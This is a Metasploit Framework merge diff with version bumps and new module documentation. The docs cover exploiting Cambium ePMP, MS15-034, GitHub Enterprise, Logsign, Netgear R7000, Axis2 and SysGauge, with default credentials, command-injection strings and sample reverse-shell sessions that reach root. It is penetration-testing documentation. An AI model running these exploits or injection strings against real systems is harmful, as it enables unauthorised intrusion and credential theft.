Merge branch 'dmchell-cve-2017-7269' into iis_6_sc-dev
commit
8b3fe0ac06
16
Gemfile.lock
16
Gemfile.lock
|
@ -1,7 +1,7 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.14.3)
|
||||
metasploit-framework (4.14.6)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -16,7 +16,7 @@ PATH
|
|||
metasploit-model
|
||||
metasploit-payloads (= 1.2.19)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.1.7)
|
||||
metasploit_payloads-mettle (= 0.1.8)
|
||||
msgpack
|
||||
nessus_rest
|
||||
net-ssh
|
||||
|
@ -144,7 +144,7 @@ GEM
|
|||
multipart-post (>= 1.2, < 3)
|
||||
ffi (1.9.18)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.2)
|
||||
fivemat (1.3.3)
|
||||
gherkin (4.1.1)
|
||||
google-protobuf (3.2.0.2)
|
||||
googleauth (0.5.1)
|
||||
|
@ -155,7 +155,7 @@ GEM
|
|||
multi_json (~> 1.11)
|
||||
os (~> 0.9)
|
||||
signet (~> 0.7)
|
||||
grpc (1.1.2)
|
||||
grpc (1.2.0)
|
||||
google-protobuf (~> 3.1)
|
||||
googleauth (~> 0.5.1)
|
||||
i18n (0.8.1)
|
||||
|
@ -201,7 +201,7 @@ GEM
|
|||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.1.7)
|
||||
metasploit_payloads-mettle (0.1.8)
|
||||
method_source (0.8.2)
|
||||
mime-types (3.1)
|
||||
mime-types-data (~> 3.2015)
|
||||
|
@ -216,7 +216,7 @@ GEM
|
|||
net-ssh (4.1.0)
|
||||
network_interface (0.0.1)
|
||||
nexpose (5.3.1)
|
||||
nokogiri (1.7.0.1)
|
||||
nokogiri (1.7.1)
|
||||
mini_portile2 (~> 2.1.0)
|
||||
octokit (4.6.2)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
|
@ -335,7 +335,7 @@ GEM
|
|||
faraday (~> 0.9)
|
||||
jwt (~> 1.5)
|
||||
multi_json (~> 1.10)
|
||||
simplecov (0.14.0)
|
||||
simplecov (0.14.1)
|
||||
docile (~> 1.1.0)
|
||||
json (>= 1.8, < 3)
|
||||
simplecov-html (~> 0.10.0)
|
||||
|
@ -348,7 +348,7 @@ GEM
|
|||
timecop (0.8.1)
|
||||
tzinfo (1.2.2)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2017.1)
|
||||
tzinfo-data (1.2017.2)
|
||||
tzinfo (>= 1.0.0)
|
||||
windows_error (0.1.1)
|
||||
xpath (2.0.0)
|
||||
|
|
|
@ -23,6 +23,10 @@ Remember that these phone numbers must be the same carrier.
|
|||
The carrier that the targeted numbers use. See **Supported Carrier Gateways** to learn more about
|
||||
supported carriers.
|
||||
|
||||
**SMSSUBJECT**
|
||||
|
||||
The text subject.
|
||||
|
||||
**SMSMESSAGE**
|
||||
|
||||
The text message you want to send. For example, this will send a text with a link to google:
|
||||
|
|
|
@ -0,0 +1,30 @@
|
|||
This module dumps Cambium ePMP 1000 device configuration file. An ePMP 1000 box has four (4) login accounts - admin/admin, installer/installer, home/home, and readonly/readonly. This module requires any one of the following login credentials - admin / installer / home - to dump device configuration file.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/epmp1000_dump_config```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set RPORT [PORT]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Sample Output
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/epmp1000_dump_config
|
||||
msf auxiliary(epmp1000_dump_config) > set rhosts 1.3.3.7
|
||||
msf auxiliary(epmp1000_dump_config) > set rport 80
|
||||
msf auxiliary(epmp1000_dump_config) > run
|
||||
|
||||
[+] 1.3.3.7:80 - Running Cambium ePMP 1000 version 3.2...
|
||||
[*] 1.3.3.7:80 - Attempting to login...
|
||||
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "installer":"installer"
|
||||
[+] ++++++++++++++++++++++++++++++++++++++
|
||||
[+] 1.3.3.7 - dumping configuration
|
||||
[+] ++++++++++++++++++++++++++++++++++++++
|
||||
[+] 1.3.3.7:80 - File retrieved successfully!
|
||||
[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000003_moduletest_1.3.3.7_ePMP_config_216595.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
|
||||
```
|
|
@ -0,0 +1,32 @@
|
|||
This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to dump system hashes.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/epmp1000_dump_hashes```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set RPORT [PORT]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Sample Output
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/epmp1000_dump_hashes
|
||||
msf auxiliary(epmp1000_dump_hashes) > set rhosts 1.3.3.7
|
||||
msf auxiliary(epmp1000_dump_hashes) > set rport 80
|
||||
msf auxiliary(epmp1000_dump_hashes) > run
|
||||
|
||||
[+] 1.3.3.7:80 - Running Cambium ePMP 1000 version 2.2...
|
||||
[*] 1.3.3.7:80 - Attempting to login...
|
||||
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "installer":"installer"
|
||||
[*] ++++++++++++++++++++++++++++++++++++++
|
||||
[*] 1.3.3.7:80 - [1/1] - dumping password hashes
|
||||
root:$1$<hash>:0:0:root:/root:/bin/ash
|
||||
...
|
||||
...
|
||||
[*] ++++++++++++++++++++++++++++++++++++++
|
||||
[+] 1.3.3.7:80 - File retrieved successfully!
|
||||
[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000003_moduletest_1.3.3.7_ePMP_passwd_282393.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
|
@ -0,0 +1,24 @@
|
|||
This module scans for Cambium ePMP 1000 management login portal(s), and attempts to identify valid credentials. Default login credentials are - admin/admin, installer/installer, home/home and readonly/readonly.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/epmp1000_web_login```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set RPORT [PORT]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Sample Output
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/epmp1000_web_login
|
||||
msf auxiliary(epmp1000_web_login) > set rhosts 1.2.3.4
|
||||
msf auxiliary(epmp1000_web_login) > set username installer
|
||||
msf auxiliary(epmp1000_web_login) > set password installer
|
||||
msf auxiliary(epmp1000_web_login) > run
|
||||
|
||||
[+] 1.2.3.4:80 - Running Cambium ePMP 1000 version 3.0...
|
||||
[*] 1.2.3.4:80 - Trying username:"installer" with password:"installer"
|
||||
[+] SUCCESSFUL LOGIN - 1.2.3.4:80 - "installer":"installer"
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,61 @@
|
|||
## Description
|
||||
|
||||
This module dumps memory contents using a crafted Range header and affects only Windows 8.1, Server 2012, and Server 2012R2.
|
||||
|
||||
**Note:** If the target is running in VMware Workstation, this module has a high likelihood of resulting in BSOD; however, VMware ESX and non-virtualized hosts seem stable. Using a larger target file should result in more memory being dumped, and SSL seems to produce more data as well.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/ms15_034_http_sys_memory_dump```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set RPORT [PORT]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Sample Output
|
||||
```
|
||||
msf > use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
|
||||
msf auxiliary(ms15_034_http_sys_memory_dump) > set RHOSTS 10.1.1.125
|
||||
RHOSTS => 10.1.1.125
|
||||
msf auxiliary(ms15_034_http_sys_memory_dump) > set RPORT 80
|
||||
RPORT => 80
|
||||
msf auxiliary(ms15_034_http_sys_memory_dump) > exploit
|
||||
|
||||
[+] Target is vulnerable!
|
||||
[+] Content length is 10240 bytes
|
||||
[+] Stand by...
|
||||
[+] Memory contents:
|
||||
[*] 4854 5450 2f31 2e31 2032 3030 204f 4b0d HTTP/1.1 200 OK.
|
||||
[*] 0a43 6f6e 7465 6e74 2d54 7970 653a 2074 .Content-Type: t
|
||||
[*] 6578 742f 6874 6d6c 0d0a 4c61 7374 2d4d ext/html..Last-M
|
||||
[*] 6f64 6966 6965 643a 204d 6f6e 2c20 3232 odified: Mon, 20
|
||||
[*] 204a 756e 2032 3031 3520 3134 3a32 313a Mar 2017 21:27:
|
||||
[*] 3535 2047 4d54 0d0a 4163 6365 7074 2d52 55 GMT..Accept-R
|
||||
[*] 616e 6765 733a 2062 7974 6573 0d0a 4554 anges: bytes..ET
|
||||
[*] 6167 3a20 2261 3563 6663 3863 6166 3661 ag: "a5cfc8caf6a
|
||||
[*] 6364 3031 3a30 220d 0a53 6572 7665 723a cd01:0"..Server:
|
||||
[*] 204d 6963 726f 736f 6674 2d49 4953 2f38 Microsoft-IIS/8
|
||||
[*] 2e35 0d0a 582d 506f 7765 7265 642d 4279 .5..X-Powered-By
|
||||
[*] 3a20 4153 502e 4e45 540d 0a00 0000 0000 : ASP.NET.......
|
||||
[*] 0000 0202 4672 6167 0000 0000 0000 0000 ....Frag........
|
||||
[*] c028 0000 0000 0000 0000 0000 0000 0000 .(..............
|
||||
[*] 0200 0a00 4672 6565 0000 0000 0000 0000 ....Free........
|
||||
[*] d01e f6c5 02f8 ffff 40a2 6502 00e0 ffff ........@.e.....
|
||||
[*] 0a00 0d02 4d64 6c20 0000 0000 0000 0000 ....Mdl ........
|
||||
[*] 1000 6702 00e0 ffff 3800 0c00 0000 0000 ..g.....8.......
|
||||
[*] 0000 0000 0000 0000 ba9a e501 00e0 ffff ................
|
||||
[*] 0090 e501 00e0 ffff 5c00 0000 ba0a 0000 ........\.......
|
||||
[*] 59a8 1300 0000 0000 0000 0000 0000 0000 Y...............
|
||||
[*] 0000 0000 0000 0000 0000 0000 0000 e0dc ................
|
||||
[*] 0d00 0d02 4d64 6c20 0000 0000 0000 0000 ....Mdl ........
|
||||
[*] 9079 2602 00e0 ffff 3800 1c00 0000 0000 .y&.....8.......
|
||||
...
|
||||
...
|
||||
...
|
||||
[*] 6079 0702 00e0 ffff 0000 0000 0000 0000 `y..............
|
||||
[*] 0e00 1902 5669 4d6d 0000 0000 0000 0000 ....ViMm........
|
||||
[*] Suppressed 346 uninteresting lines
|
||||
[*] Memory dump saved to /home/rw/.msf4/loot/20150622073911_default_10.1.1.125_iis.ms15034_145400.bin
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(ms15_034_http_sys_memory_dump) >
|
||||
```
|
|
@ -0,0 +1,68 @@
|
|||
This module exploits two security issues found in Github Enterprise 2. The first problem is
|
||||
that the session management uses a hard-coded secret value, which can be abused to sign a
|
||||
serialized malicious object. The second problem is that the serialized string is passed to
|
||||
a ```Marshal.load``` API call, which deserializes the malicious object, and executes it. A
|
||||
malicious attacker can take advantage of these problems to achieve remote code execution.
|
||||
|
||||
According to exablue.de, this RCE was reported to GitHub, and the researcher was rewarded
|
||||
$18,000 total.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The following versions are affected:
|
||||
|
||||
* 2.8.0 - 2.8.6.
|
||||
|
||||
For testing purposes, you can download a Github Enterprise image from the following location:
|
||||
|
||||
[https://enterprise.github.com/releases/](https://enterprise.github.com/releases/)
|
||||
|
||||
This module was specifically tested against version 2.8.0, which can be downloaded here:
|
||||
|
||||
[https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-2.8.0.ova](https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-2.8.0.ova)
|
||||
|
||||
Before you install the image, you must have a valid key. Start from here:
|
||||
|
||||
[https://enterprise.github.com/sn-trial](https://enterprise.github.com/sn-trial)
|
||||
|
||||
After signing up for a trial, you should receive an e-mail. The email will instruct you to access
|
||||
your portal account. In there, you can download your github-enterprise.ghl file, which is a key
|
||||
to complete installing your Github Enterprise system.
|
||||
|
||||
## Using github_enterprise_secret
|
||||
|
||||
The module consists of two features: the ```check``` command and the ```exploit``` command.
|
||||
|
||||
The ```check``` command determines if the host is vulnerable or not by extracting the hash of the
|
||||
cookie, and then attempts to create the same hash using the default secret key. If the two match,
|
||||
it means the module can tamper the cookie, and that makes the server vulnerable to deserialization.
|
||||
|
||||
```
|
||||
msf exploit(github_enterprise_secret) > check
|
||||
|
||||
[*] Found cookie value: _gh_manage=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTViZTAwNjg4NDViYmYzNWQzMGZl%0AZTRiYWY2YmU4Mzg2MzQ2NjFjODcxYTAyZDZlZjA0YTQ2MWIzNDBiY2VkMGIG%0AOwBGSSIPY3NyZi50b2tlbgY7AFRJIjFZZ0I5ckVkbWhwclpmNWF5RmVia3Zv%0AQzVKMUVoVUxlRWNEbjRYbHplb2R3PQY7AEY%3D%0A--ab0866fc61ea036b1e83cd65b92c2b6cc5b001ed;, checking to see if it can be tampered...
|
||||
[*] Data: BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTViZTAwNjg4NDViYmYzNWQzMGZlZTRiYWY2YmU4Mzg2MzQ2NjFjODcxYTAyZDZlZjA0YTQ2MWIzNDBiY2VkMGIGOwBGSSIPY3NyZi50b2tlbgY7AFRJIjFZZ0I5ckVkbWhwclpmNWF5RmVia3ZvQzVKMUVoVUxlRWNEbjRYbHplb2R3PQY7AEY=
|
||||
[*] Extracted HMAC: ab0866fc61ea036b1e83cd65b92c2b6cc5b001ed
|
||||
[*] Expected HMAC: ab0866fc61ea036b1e83cd65b92c2b6cc5b001ed
|
||||
[*] The HMACs match, which means you can sign and tamper the cookie.
|
||||
[+] 192.168.146.201:8443 The target is vulnerable.
|
||||
msf exploit(github_enterprise_secret) >
|
||||
```
|
||||
|
||||
If vulnerable, the ```exploit``` command will attempt to gain access of the system:
|
||||
|
||||
```
|
||||
msf exploit(github_enterprise_secret) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.146.1:4444
|
||||
[*] Serialized Ruby stager
|
||||
[*] Sending serialized Ruby stager...
|
||||
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
|
||||
[*] Sending stage (1495599 bytes) to 192.168.146.201
|
||||
[*] Meterpreter session 2 opened (192.168.146.1:4444 -> 192.168.146.201:52454) at 2017-03-23 10:11:17 -0500
|
||||
[+] Deleted /tmp/htBDuK.bin
|
||||
[+] Deleted /tmp/kXgpK.bin
|
||||
[*] Connection timed out
|
||||
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,79 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Download the vulnerable version of OVA or ISO file from following URL. I strongly suggest you to choose OVA.
|
||||
|
||||
[http://s3-eu-west-1.amazonaws.com/innotim/Logsign.ova](http://s3-eu-west-1.amazonaws.com/innotim/Logsign.ova)
|
||||
[http://s3-eu-west-1.amazonaws.com/innotim/forest-4.4.1-12.04.iso](http://s3-eu-west-1.amazonaws.com/innotim/forest-4.4.1-12.04.iso)
|
||||
|
||||
### Creating A Testing Environment
|
||||
|
||||
1. Open OVA file with your preferred virtualisation application.
|
||||
2. Before starting the virtual machine, choose NAT mode for interface.
|
||||
3. Once the machine started, you must be seeing following information on screen.
|
||||
```
|
||||
Ubuntu 12.04.05 LTS - logsign customer tty1
|
||||
IP: 12.0.0.10
|
||||
...
|
||||
Version: Focus
|
||||
4.4.2
|
||||
```
|
||||
4. Access the management interface by visiting `https://<ip_address>` through your browser.
|
||||
5. Complete the installation by just submitting the fake data.
|
||||
|
||||
**Please follow below instructions if you are seeing different IP address on the screen that doesn't belong to your NAT network range.**
|
||||
|
||||
Right after step 3, I've started to see totally different IP address on the screen which was something like 10.0.0.X. Since there is no such a network range in my configuration, it's impossible access to the machine through network. Here is the steps that shows how you can fix this issue. Follow these instructions and then go back to the step 5.
|
||||
|
||||
1. Reboot the machine
|
||||
2. Start pressing ```shift``` button at the very beginning and keep pressing until you see GRUB menu.
|
||||
3. Choose second line and press enter. We are going to about boot machine with recovery mode.
|
||||
4. You must be seeing terminal right now. Execute following commands.
|
||||
```
|
||||
mount -rw -o remount /
|
||||
```
|
||||
5. Execute following command specify a new password for root user.
|
||||
```
|
||||
passwd root
|
||||
```
|
||||
6. As a final step, reboot the machine.
|
||||
```
|
||||
reboot
|
||||
```
|
||||
7. Login with your root user.
|
||||
8. Open ```/etc/network/interfaces``` file and perform necessary changes. Here is my own configuration.
|
||||
```
|
||||
address 12.0.0.10
|
||||
netmask 255.255.255.0
|
||||
<removed line starting with 'network'>
|
||||
<removed line starting with 'broadcast'>
|
||||
gateway 12.0.0.2
|
||||
dns-nameservers 8.8.8.8
|
||||
```
|
||||
9. Reboot the machine for a last time.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the software as documented above
|
||||
2. Start `msfconsole`
|
||||
3. `use exploit/linux/http/logsign_exec`
|
||||
4. `set rhost 12.0.0.10
|
||||
6. `python/meterpreter/reverse_tcp` is configured as a default payload. Change it if you need. Most of the case, you're okay go with default payload type.
|
||||
7. `set LHOST 12.0.0.1`
|
||||
8. `check` and validate that you are seeing following output.
|
||||
|
||||
```
|
||||
[+] 12.0.0.10:80 The target is vulnerable.
|
||||
```
|
||||
|
||||
9. Here you go. Type `exploit` and hit the enter.
|
||||
|
||||
```
|
||||
[*] Started reverse TCP handler on 12.0.0.1:4444
|
||||
[*] Delivering payload...
|
||||
[*] Sending stage (38651 bytes) to 12.0.0.10
|
||||
[*] Meterpreter session 2 opened (12.0.0.1:4444 -> 12.0.0.10:46057) at 2017-02-28 14:11:20 +0100
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter >
|
||||
```
|
|
@ -1,4 +1,4 @@
|
|||
The netgear_r7000_cgibin_exec module exploits a command injection vulnerability in Netgear R7000 and R6400 router firmware version `1.0.7.2_1.1.93` and possibly earlier. The vulnerability is found in the `/cgi-bin/` folder of the router. A manual injection would look like so: `http://<RouterIP>/cgi-bin/;echo$IFS"cowsay"`. This will echo 'cowsay' on the router.
|
||||
The netgear_r7000_cgibin_exec module exploits a command injection vulnerability in Netgear R7000 and R6400 router firmware version `1.0.7.2_1.1.93` and possibly earlier. The vulnerability is found in the `/cgi-bin/` folder of the router. A manual injection would look like so: `http://<RouterIP>/cgi-bin/;echo$IFS"cowsay"`. This will echo 'cowsay' on the router. A fairly useful manual command injection is like so: `http://<RouterIP>/cgi-bin/;telnetd$IFS-p$IFS'45'` will open telnet on port 45.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
@ -12,47 +12,39 @@ Netgear R7000 and R6400 routers running firmware version `1.0.7.2_1.1.93` and po
|
|||
3. Do: `set RHOST <RouterIP>`
|
||||
4. Do: `set PAYLOAD <payload>`
|
||||
5. Do: `run`
|
||||
6. If the router is a R7000 or R6400, the module should run
|
||||
6. If the router is a R7000 or R6400, you should get a session
|
||||
|
||||
## Options
|
||||
|
||||
**PAYLOAD**
|
||||
|
||||
The valid payloads are `cmd/unix` payloads _only_, as this is a command execution module
|
||||
The valid payloads are `mettle` payloads _only_. The payload uses the `wget` flavor and pipes the downloaded binary to `sh`
|
||||
|
||||
## Scenarios
|
||||
|
||||
Sample output of the options looks like so
|
||||
Sample output of a successful session:
|
||||
|
||||
```
|
||||
msf exploit(netgear_r7000_cgibin_exec) > options
|
||||
msf exploit(netgear_r7000_cgibin_exec) > run
|
||||
|
||||
Module options (exploit/linux/http/netgear_r7000_cgibin_exec):
|
||||
[*] Started reverse TCP handler on 127.0.0.1:4444
|
||||
[*] Router is a NETGEAR router (R7000)
|
||||
[+] Router may be vulnerable (NETGEAR R7000)
|
||||
[*] Using URL: http://0.0.0.0:8080/
|
||||
[*] Local IP: http://[redacted]:8080/
|
||||
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:54168) at 2017-03-10 15:56:21 -0600
|
||||
[*] Server stopped.
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOST 192.168.1.1 yes The target address
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_bash):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.153.34 yes The listen address
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic Target
|
||||
|
||||
msf exploit(netgear_r7000_cgibin_exec) >
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.1.4
|
||||
OS : (Linux 2.6.36.4brcmarm+)
|
||||
Architecture : armv7l
|
||||
Meterpreter : armle/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
As you can see, the `uid` is 0, meaning you have root access.
|
||||
|
||||
|
||||
|
|
|
@ -0,0 +1,62 @@
|
|||
## Description
|
||||
|
||||
This module logs in to an Axis2 Web Admin Module instance using a specific user/pass and uploads and executes commands via deploying a malicious web service by using SOAP.
|
||||
|
||||
## Axis2 Web Admin
|
||||
|
||||
The Apache Axis2 Web application has three main sections:'Services' lists all the available services deployed in this server, 'Validate' checks the system to see whether all the required libraries are in place and views the system information, and 'Administration' is the Axis2 Web Administration module which is the console for administering the Apache Axis2 installation. The Axis2 Web Administration module provides a way to configure Axis2 dynamically.
|
||||
|
||||
**IMPORTANT:** This dynamic configuration will NOT be persistent, i.e., if the servlet container is restarted, then all the dynamic configuration changes will be lost.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use exploit/multi/http/axis2_deployer```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set RPORT [PORT]```
|
||||
3. Do: ```set USERNAME [Username]```
|
||||
4. Do: ```set PASSWORD [Password]```
|
||||
5. Do: ```run```
|
||||
|
||||
## Sample Output
|
||||
|
||||
```
|
||||
msf > use exploit/multi/http/axis2_deployer
|
||||
msf exploit(axis2_deployer) > set RHOST 10.10.155.37
|
||||
RHOST => 10.10.155.37
|
||||
msf exploit(axis2_deployer) > set RPORT 8080
|
||||
RPORT => 8080
|
||||
msf exploit(axis2_deployer) > set USERNAME admin
|
||||
USERNAME => admin
|
||||
msf exploit(axis2_deployer) > set PASSWORD admin123
|
||||
PASSWORD => admin123
|
||||
msf exploit(axis2_deployer) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.10.155.39:4444
|
||||
[+] http://10.10.155.37:8080/axis2/axis2-admin [Apache-Coyote/1.1] [Axis2 Web Admin Module] successful login 'admin' : 'axis2'
|
||||
[*] Successfully uploaded
|
||||
[*] Polling to see if the service is ready
|
||||
[*] Sending stage (30355 bytes) to 10.10.155.37
|
||||
[*] Meterpreter session 3 opened (10.10.155.39:4444 -> 10.10.155.37:1750) at 2017-03-26 23:33:19 -0500
|
||||
|
||||
[*] NOTE: You will need to delete the web service that was uploaded.
|
||||
|
||||
[*] Using meterpreter:
|
||||
[*] rm "webapps/axis2/WEB-INF/services/mdLFvgMv.jar"
|
||||
|
||||
[*] Using the shell:
|
||||
[*] cd "webapps/axis2/WEB-INF/services"
|
||||
[*] del mdLFvgMv.jar
|
||||
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: Administrator
|
||||
meterpreter > sysinfo
|
||||
Computer : juan-6ed9db6ca8
|
||||
OS : Windows 2003 5.2 (x86)
|
||||
Meterpreter : java/java
|
||||
meterpreter > exit
|
||||
[*] Shutting down Meterpreter...
|
||||
|
||||
[*] 10.10.155.37 - Meterpreter session 3 closed. Reason: User exit
|
||||
|
||||
```
|
|
@ -0,0 +1,41 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module will setup an SMTP server expecting a connection from SysGauge 1.5.18
|
||||
via its SMTP server validation. The module sends a malicious response along in the
|
||||
220 service ready response and exploits the client, resulting in an unprivileged shell.
|
||||
|
||||
he software is available for download from [SysGauge](http://www.sysgauge.com/setups/sysgauge_setup_v1.5.18.exe).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/windows/smtp/sysgauge_client_bof```
|
||||
4. Do: ```set payload windows/meterpreter/reverse_tcp```
|
||||
5. Do: ```set LHOST ip```
|
||||
6. Do: ```run```
|
||||
7. The user should put your `SRVHOST` or other applicable IP address in the SMTP configuration
|
||||
in the program, and hit the "Verify Email ..." button.
|
||||
8. You should get a shell.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Here is how to typically execute the module. Note that the client must input this SMTP server
|
||||
information under SysGauge Options and hit the "Verify Email ..." button.
|
||||
|
||||
```
|
||||
msf > use exploit/windows/smtp/sysgauge_client_bof
|
||||
msf exploit(sysgauge_client_bof) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf exploit(sysgauge_client_bof) > set lhost 10.0.0.1
|
||||
lhost => 10.0.0.1
|
||||
msf exploit(sysgauge_client_bof) > exploit
|
||||
[*] Exploit running as background job.
|
||||
msf exploit(sysgauge_client_bof) >
|
||||
[*] Started reverse TCP handler on 10.0.0.1:4444
|
||||
[*] Server started.
|
||||
[*] Client connected: 10.0.0.128
|
||||
[*] Sending payload...
|
||||
[*] Sending stage (957487 bytes) to 10.0.0.128
|
||||
[*] Meterpreter session 1 opened (10.0.0.1:4444 -> 10.0.0.128:49165) at 2017-03-14 23:15:04 -0500
|
||||
```
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "4.14.3"
|
||||
VERSION = "4.14.6"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -0,0 +1,113 @@
|
|||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module provides a complete port of the libc rand() and srand() functions.
|
||||
# It is used by the NETGEAR WNR2000v5 auxiliary and exploit modules, but might
|
||||
# be useful for any other module that needs to emulate C's random number generator.
|
||||
#
|
||||
# Author: Pedro Ribeiro (pedrib@gmail.com) / Agile Information Security
|
||||
#
|
||||
###
|
||||
module Auxiliary::CRand
|
||||
|
||||
attr_accessor :randtbl
|
||||
attr_accessor :unsafe_state
|
||||
|
||||
####################
|
||||
# ported from https://git.uclibc.org/uClibc/tree/libc/stdlib/random.c
|
||||
# and https://git.uclibc.org/uClibc/tree/libc/stdlib/random_r.c
|
||||
|
||||
TYPE_3 = 3
|
||||
BREAK_3 = 128
|
||||
DEG_3 = 31
|
||||
SEP_3 = 3
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
@randtbl =
|
||||
[
|
||||
# we omit TYPE_3 from here, not needed
|
||||
-1726662223, 379960547, 1735697613, 1040273694, 1313901226,
|
||||
1627687941, -179304937, -2073333483, 1780058412, -1989503057,
|
||||
-615974602, 344556628, 939512070, -1249116260, 1507946756,
|
||||
-812545463, 154635395, 1388815473, -1926676823, 525320961,
|
||||
-1009028674, 968117788, -123449607, 1284210865, 435012392,
|
||||
-2017506339, -911064859, -370259173, 1132637927, 1398500161,
|
||||
-205601318,
|
||||
]
|
||||
|
||||
@unsafe_state = {
|
||||
"fptr" => SEP_3,
|
||||
"rptr" => 0,
|
||||
"state" => 0,
|
||||
"rand_type" => TYPE_3,
|
||||
"rand_deg" => DEG_3,
|
||||
"rand_sep" => SEP_3,
|
||||
"end_ptr" => DEG_3
|
||||
}
|
||||
end
|
||||
|
||||
# Emulate the behaviour of C's srand
|
||||
def srandom_r (seed)
|
||||
state = @randtbl
|
||||
if seed == 0
|
||||
seed = 1
|
||||
end
|
||||
state[0] = seed
|
||||
|
||||
dst = 0
|
||||
word = seed
|
||||
kc = DEG_3
|
||||
for i in 1..(kc-1)
|
||||
hi = word / 127773
|
||||
lo = word % 127773
|
||||
word = 16807 * lo - 2836 * hi
|
||||
if (word < 0)
|
||||
word += 2147483647
|
||||
end
|
||||
dst += 1
|
||||
state[dst] = word
|
||||
end
|
||||
|
||||
@unsafe_state['fptr'] = @unsafe_state['rand_sep']
|
||||
@unsafe_state['rptr'] = 0
|
||||
|
||||
kc *= 10
|
||||
kc -= 1
|
||||
while (kc >= 0)
|
||||
random_r
|
||||
kc -= 1
|
||||
end
|
||||
end
|
||||
|
||||
# Emulate the behaviour of C's rand
|
||||
def random_r
|
||||
buf = @unsafe_state
|
||||
state = buf['state']
|
||||
|
||||
fptr = buf['fptr']
|
||||
rptr = buf['rptr']
|
||||
end_ptr = buf['end_ptr']
|
||||
val = @randtbl[fptr] += @randtbl[rptr]
|
||||
|
||||
result = (val >> 1) & 0x7fffffff
|
||||
fptr += 1
|
||||
if (fptr >= end_ptr)
|
||||
fptr = state
|
